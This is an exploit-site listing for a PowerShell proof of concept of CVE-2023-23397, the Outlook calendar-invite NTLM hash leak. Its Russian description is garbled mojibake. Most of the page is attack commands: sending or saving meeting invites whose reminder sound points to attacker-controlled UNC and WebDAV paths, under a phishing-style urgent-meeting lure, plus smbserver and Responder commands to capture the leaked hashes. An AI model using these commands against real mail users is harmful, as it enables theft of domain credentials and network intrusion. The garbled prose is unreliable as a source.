Share
## https://sploitus.com/exploit?id=DFB37892-5E08-5EB4-BAFA-C8B0A6467469
# CVE-2023-23397-PoC-PowerShell
**POC for CVE-2023-23397**
ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠ°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² Π½Π°Π±ΠΎΡΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Microsoft Outlook 365 Π°ΠΊΡΠΈΠ²Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π² Π΄ΠΈΠΊΠΎΠΉ ΠΏΡΠΈΡΠΎΠ΄Π΅ ΠΈ ΡΡΠ΅Π±ΡΠ΅Ρ ΡΡΠΎΡΠ½ΠΎΠ³ΠΎ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ. ΠΡΠΈΠ±ΠΊΠ° CVE-2023-23397 Ρ ΡΠ΅ΠΉΡΠΈΠ½Π³ΠΎΠΌ CVSS 9.8, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΡΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΡ, Π½Π΅ ΠΏΡΠΎΡΠ΅Π΄ΡΠ΅ΠΌΡ ΠΏΡΠΎΠ²Π΅ΡΠΊΡ ΠΏΠΎΠ΄Π»ΠΈΠ½Π½ΠΎΡΡΠΈ, Π²Π·Π»ΠΎΠΌΠ°ΡΡ ΡΠΈΡΡΠ΅ΠΌΡ, ΠΏΡΠΎΡΡΠΎ ΠΎΡΠΏΡΠ°Π²ΠΈΠ² ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π½Π½ΠΎΠ΅ ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΠ΅ ΠΏΠΈΡΡΠΌΠΎ, ΠΊΠΎΡΠΎΡΠΎΠ΅ ΡΠΎΠ·Π΄Π°ΡΡ ΡΡΠ»ΠΎΠ²ΠΈΡ Π΄Π»Ρ ΠΊΡΠ°ΠΆΠΈ ΡΡΠ΅ΡΠ½ΡΡ
Π΄Π°Π½Π½ΡΡ
ΠΏΠΎΠ»ΡΡΠ°ΡΠ΅Π»Ρ.
Π ΡΠΈΡΡΠ°ΡΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΈΠΌΠ΅Π΅Ρ Π΄ΠΎΡΡΡΠΏ ΠΊ Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠΉ ΡΠ΅ΡΠΈ ΠΆΠ΅ΡΡΠ²Ρ, ΡΠ°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΡΠΌΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ
ΡΡΠ° NTLMv2 Π΄Π»Ρ Π²Ρ
ΠΎΠ΄Π° Π² Π΄ΡΡΠ³ΠΈΠ΅ ΡΠ΅ΡΠ²ΠΈΡΡ Π±Π΅Π· Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎΡΡΠΈ Π΅Π³ΠΎ Π²Π·Π»ΠΎΠΌΠ°. ΠΠ»Ρ ΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ΠΈΡ Π°ΡΠ°ΠΊΠΈ ΠΆΠ΅ΡΡΠ²Π΅ Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΠ΅ ΠΏΠΈΡΡΠΌΠΎ, ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠ΅Π΅ ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π½Π½ΠΎΠ΅ ΡΠΎΠ±ΡΡΠΈΠ΅ ΠΊΠ°Π»Π΅Π½Π΄Π°ΡΡ ΠΈΠ»ΠΈ Π·Π°Π΄Π°ΡΡ, ΠΊΠΎΡΠΎΡΠ°Ρ Π±ΡΠ΄Π΅Ρ ΡΡΡΠ»Π°ΡΡΡΡ Π½Π° ΠΏΡΡΡ UNC, ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΡΠ΅ΠΌΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠΎΠΌ. ΠΠ·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ Π½Π΅ ΡΡΠ΅Π±ΡΠ΅ΡΡΡ. ΠΡΠ°ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΠΎΡΡΡΠ΅ΡΡΠ²Π»Π΅Π½Π° Π΄ΠΈΡΡΠ°Π½ΡΠΈΠΎΠ½Π½ΠΎ.
ΠΠΎΠ»ΡΡΠ΅Π½Π½ΡΠΉ Π΄ΠΎΠΌΠ΅Π½Π½ΡΠΉ ΠΏΠ°ΡΠΎΠ»Ρ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π»Ρ Π²Ρ
ΠΎΠ΄Π° Π² Π΄ΡΡΠ³ΠΈΠ΅ ΠΎΠ±ΡΠ΅Π΄ΠΎΡΡΡΠΏΠ½ΡΠ΅ ΡΠ΅ΡΠ²ΠΈΡΡ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, VPN. ΠΡΠ»ΠΈ Π΄Π²ΡΡ
ΡΠ°ΠΊΡΠΎΡΠ½Π°Ρ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ, ΡΡΠΎ ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠΈΠ²Π΅ΡΡΠΈ ΠΊ ΡΠΎΠΌΡ, ΡΡΠΎ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΏΠΎΠ»ΡΡΠΈΡ Π΄ΠΎΡΡΡΠΏ ΠΊ ΠΊΠΎΡΠΏΠΎΡΠ°ΡΠΈΠ²Π½ΠΎΠΉ ΡΠ΅ΡΠΈ.
**ΠΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Microsoft Outlook Π΄Π»Ρ ΠΏΠ»Π°ΡΡΠΎΡΠΌΡ Windows ΡΡΠ·Π²ΠΈΠΌΡ** ΠΈ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡΡ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΡΡ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡΡ ΠΊΠ»ΠΈΠ΅Π½ΡΡ Outlook Π² ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΈΠΈ Ρ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΡΠΌΠΈ. Π Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Microsoft Π²ΡΠΏΡΡΡΠΈΠ»Π° ΡΡΠ΅Π½Π°ΡΠΈΠΉ Powershell, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ, ΠΏΠΎΠ»ΡΡΠ°Π»ΠΈ Π»ΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΠΈ Π² Π²Π°ΡΠ΅ΠΉ ΠΎΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ.
ΠΡΠ»ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ ΠΏΠΎΠΊΠ°Π·ΡΠ²Π°Π΅Ρ ΠΎΠ±ΡΠ΅ΠΊΡΡ Ρ Π²Π½Π΅ΡΠ½ΠΈΠΌΠΈ UNC-ΠΏΡΡΡΠΌΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΡΠ° ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΡ ΠΏΠΎΠ΄Π²Π΅ΡΠ³Π»Π°ΡΡ Π°ΡΠ°ΠΊΠ΅ ΠΈ Π½Π΅ Π»ΠΈΡΠ½ΠΈΠΌ Π±ΡΠ΄Π΅Ρ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΡΡΠΈΠΌ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΎΠΌ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°ΠΌ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ² Exchange. ΠΠΎΠΏΠΎΠ΄Π»ΠΈΠ½Π½ΠΎ ΠΈΠ·Π²Π΅ΡΡΠ½ΠΎ, ΡΡΠΎ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π°ΠΊΡΠΈΠ²Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»Π°ΡΡ Π² Π°ΡΠ°ΠΊΠ°Ρ
ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· APT-Π³ΡΡΠΏΠΏΠΈΡΠΎΠ²ΠΎΠΊ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡΠΌ Ρ Π°ΠΏΡΠ΅Π»Ρ 2022 Π³ΠΎΠ΄Π°, Π° ΡΡΠΈΡΡΠ²Π°Ρ, ΡΡΠΎ Π΄Π΅ΡΠ°Π»ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΡΠΆΠ΅ ΠΎΠΏΠΈΡΠ°Π½Ρ ΠΏΡΠ±Π»ΠΈΡΠ½ΠΎ ΠΎΠΆΠΈΠ΄Π°Π΅ΡΡΡ ΡΠΎΡΡ ΠΌΠ°ΡΡΠΎΠ²ΡΡ
Π°ΡΠ°ΠΊ Ρ Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π² Π±Π»ΠΈΠΆΠ°ΠΉΡΠΈΠ΅ Π²ΡΠ΅ΠΌΡ.
Π Π°Π·Π±ΠΎΡ ΡΠΈΡΠ°ΡΡ ΡΡΡ https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/
**!ΠΠ°Π½Π½ΡΠΉ ΡΠΊΡΠΈΠΏΡ Π½Π΅ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ Π΄Π»Ρ Π½Π°Π½Π΅ΡΠ΅Π½ΠΈΡ Π²ΡΠ΅Π΄Π°, ΡΠΎΠ»ΡΠΊΠΎ Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΡΠ°Π±ΠΎΡΠΎΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π²Π½ΡΡΡΠΈ ΠΠ°ΡΠ΅ΠΉ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ!**
**Sending:**
```
Send-CalendarNTLMLeak -recipient "a.galichev@domain.kz" -remotefilepath "\\XX.XX.XX.XX\notexists\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
Send-CalendarNTLMLeak -recipient "a.galichev@domain.kz" -remotefilepath "\\fakeserver.domain.local\notexists\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
Send-CalendarNTLMLeak -recipient "a.galichev@domain.kz" -remotefilepath "\\fakeserver.domain.local@80\notexists\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
Send-CalendarNTLMLeak -recipient "a.galichev@domain.kz" -remotefilepath "\\fakeserver.domain.local@SSL@443\notexists\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
```
**Saving:**
```
Save-CalendarNTLMLeak -remotefilepath "\\XX.XX.XX.XX\notexists\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
Save-CalendarNTLMLeak -remotefilepath "\\fakeserver.domain.local\notexists\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
Save-CalendarNTLMLeak -remotefilepath "\\fakeserver.domain.local@80\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
Save-CalendarNTLMLeak -remotefilepath "\\fakeserver.domain.local@SSL@443\sound.wav" -meetingsubject "Π‘ΡΠΎΡΠ½ΠΎ! ΠΠΈΡΠΈΠ½Π³ Ρ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΌ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ" -meetingbody "ΠΠ°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΠΆΠ°Ρ
Π½ΡΠ»ΠΈ, ΠΠ°ΡΠΈ Ρ
Π΅ΡΠΈ ΠΏΡΠΎΡΠ΅ΠΊΠ»ΠΈ..."
```
**Listening:**
```
sudo smbserver.py -smb2support smb ./smb
//or
sudo python3 Responder.py -i XX.XX.XX.XX -I utun5 -wPv
```